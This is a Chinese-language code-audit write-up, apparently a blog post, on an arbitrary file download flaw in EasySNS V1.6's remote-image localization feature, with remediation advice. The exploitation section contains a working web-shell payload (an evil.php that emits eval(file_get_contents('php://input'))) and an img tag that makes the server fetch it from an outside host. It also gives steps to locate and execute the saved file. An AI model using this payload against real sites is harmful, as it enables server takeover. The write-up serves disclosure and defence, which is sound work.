【程式碼審計】EasySNS_V1.6 前臺任意檔案下載漏洞分析
0x00 環境準備
EasySNS官網:http://www.imzaker.com/
網站原始碼版本:EasySNS極簡社群V1.60
程式原始碼下載:http://es.imzaker.com/index.php/Topic/gview/id/92.html
預設後臺地址:http://127.0.0.1/admin.php/Login/login.html
預設賬號密碼:admin/admin
測試網站首頁:
0x01 程式碼分析
1、 漏洞檔案位置: /app/common.func.php
在公共呼叫函式裡面,我們注意到getImageToLocal函式,通過正則從img標籤裡面獲取連結,然後判斷是否是本站地址,呼叫了getImage函式實現下載遠端圖片儲存到本地,我們跟進同文件下的getImage函式進行檢視,
在getImage函式中,並未對下載的檔名進行判斷,獲取檔案字尾拼接到檔名,下載到網站目錄中,那麼這個函式是很危險的,很可能導致程式在實現上存在任意檔案下載漏洞,下載遠端檔案到網站目錄下。
2、 全域性搜尋getImageToLocal函式,找到呼叫函式的地方
漏洞檔案:/app/index/controller/Topic.php,在topicadd函式中,webconfig('bd_image')==1即當程式開啟遠端圖片本地化的時候,呼叫了getImageToLocal函式,我們可以根據條件構造Payload來進行漏洞利用,攻擊者可指定第三方url下載惡意指令碼到網站目錄,進一步觸發惡意程式碼,控制網站伺服器。
0x02 漏洞利用
一、利用條件
1、登入網站後臺—系統管理—配置管理—開啟遠端圖片本地化(預設安裝情況下處於關閉狀態)
2、在第三方網站放置一個evil.php作為程式碼源,如http://192.168.8.131/evil.php
evil.php檔案內容:
- <?php
- echo "<?php ";
- echo "eval(file_get_contents('php://input'));";
- echo "?>";
- ?>
二、漏洞利用
1、註冊一個test1使用者,選擇釋出帖子,在html程式碼編輯狀態下插入img標籤
<img src="http://192.168.8.131/evil.php" />
2、點擊發布後,檢視我的帖子,獲取上傳後的檔名。
3、檔案路徑格式為:/uploads/picture/cache/'.$uid.'/+$filename
檢視個人主頁獲取uid值,
4、需要把uid加上拼接為完整路徑,最終獲得檔案路徑,成功觸發惡意程式碼,獲取網站伺服器許可權。
http://127.0.0.1/uploads/picture/cache/2/2_VHZHOopR1520094924.php
0x03 修復建議
1、白名單限制遠端圖片本地化下載的檔名字尾,只允許下載jpg、png等格式;
2、禁止圖片目錄指令碼執行許可權。
最後
歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。